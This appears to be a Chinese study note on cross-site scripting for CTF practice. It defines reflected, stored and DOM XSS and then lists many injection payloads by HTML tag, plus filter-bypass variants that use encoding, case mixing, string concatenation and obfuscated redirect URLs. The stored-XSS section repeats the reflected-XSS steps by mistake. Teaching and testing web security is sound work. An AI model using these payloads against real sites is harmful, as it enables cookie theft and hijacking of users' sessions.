XSS从0到1
本篇记学习XSS的历程. ——M.Y
参考文章:
https://blog.csdn.net/LYJ20010728/article/details/116462782
XSS
定义:
xss,全称跨站脚本攻击(Cross Site Scripting),为避免与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。
这是一种将任意 Javascript 代码插入到其他Web用户页面中执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。当用户浏览该页时,这些潜入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如 cookie窃取等。
凡是数据输入或者交互的地方,都有可能发生xss。
XSS属于代码注入的一种,它允许攻击者将代码注入到网页,其他用户在浏览网页时就会受到影响。
XSS属于客户端攻击,受害者最终是用户,但是,网站的管理人员也是用户之一。这意味着XSS可以进行“服务端攻击”
漏洞出现的原因:
程序对输入和输出不够严格,导致“精心构造”的脚本输入后,在输出前端时被浏览器当作有效代码解析执行从而产生危害。
分类:
反射型:反射型XSS是最基本的XSS形式,也被称为非持久型XSS(Non-persistent XSS)。这种攻击的特点是恶意脚本不会永久存储在目标服务器上,而是通过URL参数、表单提交等途径”反射”回用户的浏览器中执行。
- 攻击者构造包含恶意脚本的特殊URL
- 通过钓鱼邮件、社交工程等方式诱使受害者点击该URL
- 服务器接收请求并将恶意脚本”反射”到响应页面中
- 受害者的浏览器解析并执行该脚本
在CTF中,反射型XSS题目通常表现为:
- 搜索框、联系表单等输入点直接将用户输入返回到页面
- URL参数值未经处理直接输出到HTML中
- 需要构造特殊URL并诱导管理员或bot访问以获取flag
例:http://www.test.com/search.php?key="><script>alert("xss")</script>
存储型:存储型XSS,又称持久型XSS(Persistent XSS),是更为危险的XSS形式。与反射型不同,存储型XSS的恶意脚本会被永久保存在目标服务器上(如数据库、留言板、评论区域等),每当用户访问包含该恶意内容的页面时,脚本就会被执行
典型攻击流程:
- 攻击者构造包含恶意脚本的特殊URL
- 通过钓鱼邮件、社交工程等方式诱使受害者点击该URL
- 服务器接收请求并将恶意脚本”反射”到响应页面中
- 受害者的浏览器解析并执行该脚本
在CTF中,反射型XSS题目通常表现为:
- 搜索框、联系表单等输入点直接将用户输入返回到页面
- URL参数值未经处理直接输出到HTML中
- 需要构造特殊URL并诱导管理员或bot访问以获取flag
DOM型:DOM型XSS是一种特殊的XSS形式,其特点是恶意代码完全在客户端执行,不涉及服务器端的响应处理。这种漏洞源于JavaScript对DOM(文档对象模型)的不安全操作,如使用document.write
、innerHTML
或eval
等函数直接处理用户可控的数据。
典型攻击流程:
- 攻击者构造包含恶意脚本的特殊URL
- 受害者访问该URL
- 客户端JavaScript从URL或页面元素中提取数据并动态修改DOM
- 修改过程中未正确过滤导致恶意脚本执行
在CTF中,DOM型XSS题目通常表现为:
- 页面使用JavaScript从URL参数或片段(fragment)中读取数据并动态更新页面内容
- 使用
eval
、setTimeout
或Function
构造函数等动态执行代码
- 需要分析前端JavaScript逻辑才能构造有效payload
例如以下前端代码:
1 2
| var target = location.hash.substring(1); document.write("Welcome " + target);
|
攻击者可构造如下url:
http://vulnerable-site.com/#<script>alert('XSS')</script>
触发标签
无过滤:
在程序没有进行过滤的情况下,有以下触发标签:
<script>
1
| <scirpt>alert("xss");</script>
|
<img>
1 2 3 4 5 6 7
| <img src="x" onerror=alert(1)> <img src="1" onerror=eval("alert('xss')")> // 鼠标指针移动到元素时触发 <img src=1 onmouseover="alert(1)"> // 鼠标指针移出时触发 <img src=1 onmouseout="alert(1)">
|
<a>
1 2 3 4 5 6
| <a href="https://www.qq.com">qq</a> <a href=javascript:alert('xss')>test</a> <a href="javascript:a" onmouseover="alert(/xss/)">aa</a> <a href="" onclick=alert('xss')>a</a> <a href="" onclick=eval(alert('xss'))>aa</a> <a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
|
<input>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <input onfocus="alert('xss');">
<input onblur=alert("xss") autofocus><input autofocus> // 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发 <input onfocus="alert('xss');" autofocus> <input name="name" value=""> <input value="" onclick=alert('xss') type="text"> <input name="name" value="" onmouseover=prompt('xss') bad=""> <input name="name" value=""><script>alert('xss')</script> // 按下按键时触发 <input type="text" onkeydown="alert(1)"> // 按下按键时触发 <input type="text" onkeypress="alert(1)"> // 松开按键式时触发 <input type="text" onkeyup="alert(1)">
|
<form>
1 2 3 4 5 6 7
| <form action=javascript:alert('xss') method="get"> <form action=javascript:alert('xss')> <form method=post action=aa.asp? onmouseover=prompt('xss')> <form method=post action=aa.asp? onmouseover=alert('xss')> <form action=1 onmouseover=alert('xss)> <form method=post action="data:text/html;base64,<script>alert('xss')</script>"> <form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
|
<iframe>
1 2 3 4 5 6 7 8
| <iframe onload=alert("xss");></iframe> <iframe src=javascript:alert('xss')></iframe> <iframe src="data:text/html,<script>alert('xss')</script>"></iframe> <iframe src="data:text/html;base64,<script>alert('xss')</script>"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> <iframe src="aaa" onmouseover=alert('xss') /><iframe> <iframe src="javascript:prompt(``xss``)"></iframe> //(````只有两个``)
|
<svg>
<body>
1 2 3
| <body onload="alert(1)">
<body onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
|
<button>
1 2
| <button onclick="alert(1)">text</button>
|
<p>
1 2 3 4
| <p onmousedown="alert(1)">text</p>
<p onmouseup="alert(1)">text</p>
|
<details>
1 2 3
| <details ontoggle="alert('xss');">
<details open ontoggle="alert('xss');">
|
<select>
1 2 3
| <select onfocus=alert(1)></select>
<select onfocus=alert(1) autofocus>
|
<video>
1
| <video><source onerror="alert(1)">
|
<audio>
1
| <audio src=x onerror=alert("xss");>
|
<textarea>
1
| <textarea onfocus=alert("xss"); autofocus>
|
<keygen>
1
| <keygen autofocus onfocus=alert(1)>
|
<marquee>
1 2
| <marquee onstart=alert("xss")></marquee>
|
<isindex>
1
| <isindex type=image src=1 onerror=alert("xss")>
|
利用link远程包含js文件
1 2
| <link rel=import href="http://127.0.0.1/1.js">
|
javascript伪协议
1 2 3 4 5 6 7 8
| <a href="javascript:alert('xss');">xss</a>
<iframe src=javascript:alert('xss');></iframe>
<img src=javascript:alert('xss')> //IE7以下 // <form>标签 <form action="Javascript:alert(1)"><input type=submit>
|
expression属性
1 2 3 4 5 6
| <img style="xss:expression(alert('xss''))">
<div style="color:rgb(''�x:expression(alert(1))"></div>
<style>#test{x:expression(alert(/XSS/))}</style>
|
background属性
1 2
| <table background=javascript:alert(1)></table>
|
过滤绕过:
- 过滤空格
1 2
| <img/src="x"/onerror=alert("xss");>
|
- 过滤关键字
1 2 3 4 5 6 7 8
| <ImG sRc=x onerRor=alert("xss");>
<imimgg srsrcc=x onerror=alert("xss");> // 字符拼接(利用eval) <img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)"> // 字符拼接(利用top) <script>top["al"+"ert"](``xss``);</script>(只有两个``这里是为了凸显出有`符号)
|
- 其它字符混淆
1 2 3 4 5 6 7 8
|
<<script>alert("xss"); <scri<!--test-->pt>alert("hello world!")</scri<!--test-->pt> <title><img src=</title>><img src=x onerror="alert(``xss``);"> // 因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效 <SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
|
- 编码绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <img src="x" onerror="alert("xss");"> <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> //url编码绕过 <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> //Ascii码绕过 <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> //Hex绕过 <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> //八进制绕过 <img src=x onerror=alert('\170\163\163')> //base64绕过 <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
|
- 过滤双引号,单引号
1 2 3
| <img src="x" onerror=alert(``xss``);>
|
- 过滤括号
1 2
| <svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
|
- 过滤url地址
1 2 3 4 5 6 7 8 9 10
| <img src="x" onerror=document.location=``http:
<img src="x" onerror=document.location=``http://2130706433/``>十进制 <img src="x" onerror=document.location=``http://0177.0.0.01/``>八进制 <img src="x" onerror=document.location=``http://0x7f.0x0.0x0.0x1/``>十六进制 <img src="x" onerror=document.location=``//www.baidu.com``>html标签中用//可以代替http:// //使用\ (注意:在windows下\本身就有特殊用途,是一个path 的写法,所以\在Windows下是file协议,在linux下才会是当前域的协议) //使用中文逗号代替英文逗号 <img src="x" onerror="document.location=``http://www。baidu。com``">//会自动跳转到百度
|